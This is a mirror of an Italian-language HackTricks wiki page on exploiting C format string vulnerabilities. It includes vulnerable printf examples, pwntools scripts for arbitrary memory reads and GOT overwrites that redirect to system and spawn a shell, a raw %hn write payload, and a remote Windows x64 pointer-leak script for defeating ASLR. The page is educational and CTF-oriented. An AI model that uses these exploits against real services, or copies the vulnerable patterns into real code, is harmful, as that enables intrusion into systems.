mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
261 lines
12 KiB
Markdown
261 lines
12 KiB
Markdown
# Format Strings
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
|
|
## Informazioni di base
|
|
|
|
In C **`printf`** è una funzione che può essere usata per **stampare** una stringa. Il **primo parametro** che questa funzione si aspetta è il **testo grezzo con i formatters**. I **parametri successivi** attesi sono i **valori** per **sostituire** i **formatters** nel testo grezzo.
|
|
|
|
Altre funzioni vulnerabili sono **`sprintf()`** e **`fprintf()`**.
|
|
|
|
La vulnerabilità si presenta quando un **testo controllato dall'attaccante viene usato come primo argomento** di questa funzione. L'attaccante sarà in grado di costruire un **input speciale abusando** delle **printf format string capabilities** per leggere e **scrivere qualsiasi dato in qualunque indirizzo (leggibile/scrivibile)**. In questo modo può eseguire codice arbitrario.
|
|
|
|
#### Formattatori:
|
|
```bash
|
|
%08x —> 8 hex bytes
|
|
%d —> Entire
|
|
%u —> Unsigned
|
|
%s —> String
|
|
%p —> Pointer
|
|
%n —> Number of written bytes
|
|
%hn —> Occupies 2 bytes instead of 4
|
|
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
|
|
```
|
|
**Esempi:**
|
|
|
|
- Esempio vulnerabile:
|
|
```c
|
|
char buffer[30];
|
|
gets(buffer); // Dangerous: takes user input without restrictions.
|
|
printf(buffer); // If buffer contains "%x", it reads from the stack.
|
|
```
|
|
- Uso normale:
|
|
```c
|
|
int value = 1205;
|
|
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
|
|
```
|
|
- Con argomenti mancanti:
|
|
```c
|
|
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
|
|
```
|
|
- fprintf vulnerabile:
|
|
```c
|
|
#include <stdio.h>
|
|
|
|
int main(int argc, char *argv[]) {
|
|
char *user_input;
|
|
user_input = argv[1];
|
|
FILE *output_file = fopen("output.txt", "w");
|
|
fprintf(output_file, user_input); // The user input can include formatters!
|
|
fclose(output_file);
|
|
return 0;
|
|
}
|
|
```
|
|
### **Accesso ai puntatori**
|
|
|
|
Il formato **`%<n>$x`**, dove `n` è un numero, permette di indicare a printf di selezionare il parametro n (dallo stack). Quindi se vuoi leggere il 4° parametro dallo stack usando printf puoi fare:
|
|
```c
|
|
printf("%x %x %x %x")
|
|
```
|
|
e leggeresti dal primo al quarto parametro.
|
|
|
|
Oppure potresti fare:
|
|
```c
|
|
printf("%4$x")
|
|
```
|
|
e leggere direttamente il quarto.
|
|
|
|
Nota che l'attaccante controlla il `printf` **parametro, il che praticamente significa che** il suo input verrà messo nello stack quando `printf` viene chiamato, il che significa che potrebbe scrivere specifici indirizzi di memoria nello stack.
|
|
|
|
> [!CAUTION]
|
|
> Un attaccante che controlla questo input potrà **aggiungere indirizzi arbitrari nello stack e far sì che `printf` li acceda**. Nella sezione successiva sarà spiegato come utilizzare questo comportamento.
|
|
|
|
## **Arbitrary Read**
|
|
|
|
È possibile usare il formatter **`%n$s`** per far sì che **`printf`** prenda l'**indirizzo** situato nella **posizione n**, lo segua e **lo stampi come se fosse una stringa** (stampa fino a quando non viene trovato un 0x00). Quindi, se l'indirizzo base del binario è **`0x8048000`**, e sappiamo che l'input dell'utente inizia nella quarta posizione nello stack, è possibile stampare l'inizio del binario con:
|
|
```python
|
|
from pwn import *
|
|
|
|
p = process('./bin')
|
|
|
|
payload = b'%6$s' #4th param
|
|
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
|
|
payload += p32(0x8048000) #6th param
|
|
|
|
p.sendline(payload)
|
|
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
|
|
```
|
|
> [!CAUTION]
|
|
> Nota che non puoi mettere l'indirizzo 0x8048000 all'inizio dell'input perché la stringa sarà terminata con 0x00 alla fine di quell'indirizzo.
|
|
|
|
### Trovare l'offset
|
|
|
|
Per trovare l'offset del tuo input puoi inviare 4 o 8 byte (`0x41414141`) seguiti da **`%1$x`** e **aumentare** il valore fino a recuperare le `A`.
|
|
|
|
<details>
|
|
|
|
<summary>Brute Force printf offset</summary>
|
|
```python
|
|
# Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
|
|
|
|
from pwn import *
|
|
|
|
# Iterate over a range of integers
|
|
for i in range(10):
|
|
# Construct a payload that includes the current integer as offset
|
|
payload = f"AAAA%{i}$x".encode()
|
|
|
|
# Start a new process of the "chall" binary
|
|
p = process("./chall")
|
|
|
|
# Send the payload to the process
|
|
p.sendline(payload)
|
|
|
|
# Read and store the output of the process
|
|
output = p.clean()
|
|
|
|
# Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output
|
|
if b"41414141" in output:
|
|
# If the string is found, log the success message and break out of the loop
|
|
log.success(f"User input is at offset : {i}")
|
|
break
|
|
|
|
# Close the process
|
|
p.close()
|
|
```
|
|
</details>
|
|
|
|
### Quanto è utile
|
|
|
|
Arbitrary reads possono essere utili per:
|
|
|
|
- **Dump** il **binary** dalla memoria
|
|
- **Accedere a parti specifiche della memoria dove sono memorizzate** **informazioni sensibili** (come canaries, encryption keys o custom passwords come in questo [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
|
|
|
|
## **Arbitrary Write**
|
|
|
|
Il formatter **`%<num>$n`** **scrive** il **numero di byte scritti** nell'**indirizzo indicato** dal parametro <num> nello stack. Se un attaccante può scrivere quanti caratteri vuole con printf, sarà in grado di far sì che **`%<num>$n`** scriva un numero arbitrario in un indirizzo arbitrario.
|
|
|
|
Per fortuna, per scrivere il numero 9999 non è necessario aggiungere 9999 "A" all'input; è possibile usare il formatter **`%.<num-write>%<num>$n`** per scrivere il numero **`<num-write>`** nell'**indirizzo puntato dalla posizione `num`**.
|
|
```bash
|
|
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
|
|
AAAA.%500\$08x —> Param at offset 500
|
|
```
|
|
Tuttavia, nota che di solito, per scrivere un indirizzo come `0x08049724` (che è un NUMERO ENORME da scrivere tutto in una volta), **si usa `$hn`** invece di `$n`. Questo permette di **scrivere solo 2 byte**. Pertanto questa operazione viene eseguita due volte, una per i 2 byte più alti dell'indirizzo e un'altra per quelli più bassi.
|
|
|
|
Pertanto, questa vulnerabilità permette di **scrivere qualsiasi cosa in qualsiasi indirizzo (arbitrary write).**
|
|
|
|
In questo esempio, l'obiettivo sarà **sovrascrivere** l'**indirizzo** di una **funzione** nella tabella **GOT** che verrà chiamata più tardi. Sebbene questo possa sfruttare altre tecniche di arbitrary write to exec:
|
|
|
|
|
|
{{#ref}}
|
|
../arbitrary-write-2-exec/
|
|
{{#endref}}
|
|
|
|
Andremo a **sovrascrivere** una **funzione** che **riceve** i suoi **argomenti** dall'**utente** e a **puntarla** alla funzione **`system`**.\
|
|
Come detto, per scrivere l'indirizzo sono generalmente necessari 2 passaggi: prima **si scrivono 2 byte** dell'indirizzo e poi gli altri 2. Per farlo si usa **`$hn`**.
|
|
|
|
- **HOB** indica i 2 byte più alti dell'indirizzo
|
|
- **LOB** indica i 2 byte più bassi dell'indirizzo
|
|
|
|
Poi, a causa di come funzionano le format string, è necessario **scrivere prima il più piccolo** tra \[HOB, LOB] e poi l'altro.
|
|
|
|
Se HOB < LOB\
|
|
`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
|
|
|
|
Se HOB > LOB\
|
|
`[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
|
|
|
|
HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
|
|
```bash
|
|
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
|
|
```
|
|
### Pwntools Modello
|
|
|
|
Puoi trovare un **modello** per preparare un exploit per questo tipo di vulnerabilità in:
|
|
|
|
|
|
{{#ref}}
|
|
format-strings-template.md
|
|
{{#endref}}
|
|
|
|
Oppure questo esempio di base da [**here**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite):
|
|
```python
|
|
from pwn import *
|
|
|
|
elf = context.binary = ELF('./got_overwrite-32')
|
|
libc = elf.libc
|
|
libc.address = 0xf7dc2000 # ASLR disabled
|
|
|
|
p = process()
|
|
|
|
payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
|
|
p.sendline(payload)
|
|
|
|
p.clean()
|
|
|
|
p.sendline('/bin/sh')
|
|
|
|
p.interactive()
|
|
```
|
|
## Format Strings to BOF
|
|
|
|
È possibile abusare delle azioni di scrittura di una format string vulnerability per **scrivere in indirizzi dello stack** e sfruttare un tipo di vulnerabilità di **buffer overflow**.
|
|
|
|
|
|
## Windows x64: Format-string leak to bypass ASLR (no varargs)
|
|
|
|
Su Windows x64 i primi quattro parametri interi/puntatore vengono passati nei registri: RCX, RDX, R8, R9. In molti call-sites vulnerabili la stringa controllata dall'attaccante viene usata come format argument ma non vengono forniti variadic arguments, per esempio:
|
|
```c
|
|
// keyData is fully controlled by the client
|
|
// _snprintf(dst, len, fmt, ...)
|
|
_snprintf(keyStringBuffer, 0xff2, (char*)keyData);
|
|
```
|
|
Poiché non vengono passati varargs, qualsiasi conversione come "%p", "%x", "%s" farà sì che la CRT legga il prossimo argomento variadico dal registro appropriato. Con la Microsoft x64 calling convention la prima lettura per "%p" proviene da R9. Qualsiasi valore transitorio in R9 al call-site verrà stampato. In pratica questo spesso leaks un puntatore stabile in-modulo (es., un puntatore a un oggetto locale/globale precedentemente posto in R9 dal codice circostante o un valore callee-saved), che può essere usato per recuperare la base del modulo e sconfiggere ASLR.
|
|
|
|
Flusso pratico:
|
|
|
|
- Inietta un formato innocuo come "%p " all'inizio della stringa controllata dall'attaccante in modo che la prima conversione venga eseguita prima di qualsiasi filtraggio.
|
|
- Cattura il leaked pointer, identifica l'offset statico di quell'oggetto all'interno del modulo (eseguendo reversing una volta con simboli o una copia locale), e recupera la image base come `leak - known_offset`.
|
|
- Riusa quella base per calcolare indirizzi assoluti per ROP gadgets e IAT entries da remoto.
|
|
|
|
Esempio (abbreviato python):
|
|
```python
|
|
from pwn import remote
|
|
|
|
# Send an input that the vulnerable code will pass as the "format"
|
|
fmt = b"%p " + b"-AAAAA-BBB-CCCC-0252-" # leading %p leaks R9
|
|
io = remote(HOST, 4141)
|
|
# ... drive protocol to reach the vulnerable snprintf ...
|
|
leaked = int(io.recvline().split()[2], 16) # e.g. 0x7ff6693d0660
|
|
base = leaked - 0x20660 # module base = leak - offset
|
|
print(hex(leaked), hex(base))
|
|
```
|
|
Note:
|
|
- L'offset esatto da sottrarre viene trovato una volta durante il reversing locale e poi riutilizzato (stesso binario/versione).
|
|
- Se "%p" non stampa un puntatore valido al primo tentativo, provare altri specifier ("%llx", "%s") o conversioni multiple ("%p %p %p") per campionare altri registri/stack degli argomenti.
|
|
- Questo pattern è specifico della calling convention Windows x64 e delle implementazioni della printf-family che leggono varargs inesistenti dai registri quando la format string li richiede.
|
|
|
|
Questa tecnica è estremamente utile per bootstrapper ROP su servizi Windows compilati con ASLR e senza evidenti primitive di memory disclosure.
|
|
|
|
## Altri Esempi & Riferimenti
|
|
|
|
- [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string)
|
|
- [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
|
|
- [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak)
|
|
- [https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html](https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html)
|
|
- 32 bit, no relro, no canary, nx, no pie, uso di base delle format strings per leak della flag dallo stack (non è necessario alterare il flusso di esecuzione)
|
|
- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
|
|
- 32 bit, relro, no canary, nx, no pie, format string per sovrascrivere l'indirizzo `fflush` con la funzione win (ret2win)
|
|
- [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html)
|
|
- 32 bit, relro, no canary, nx, no pie, format string per scrivere un indirizzo dentro main in `.fini_array` (così il flusso torna indietro un'altra volta) e scrivere nella GOT l'indirizzo di `system` nell'entry corrispondente a `strlen`. Quando il flusso torna a main, `strlen` viene eseguita con input utente e, essendo puntata a `system`, eseguirà i comandi passati.
|
|
|
|
|
|
## Riferimenti
|
|
|
|
- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
|
|
- [x64 calling convention (MSVC)](https://learn.microsoft.com/en-us/cpp/build/x64-calling-convention)
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|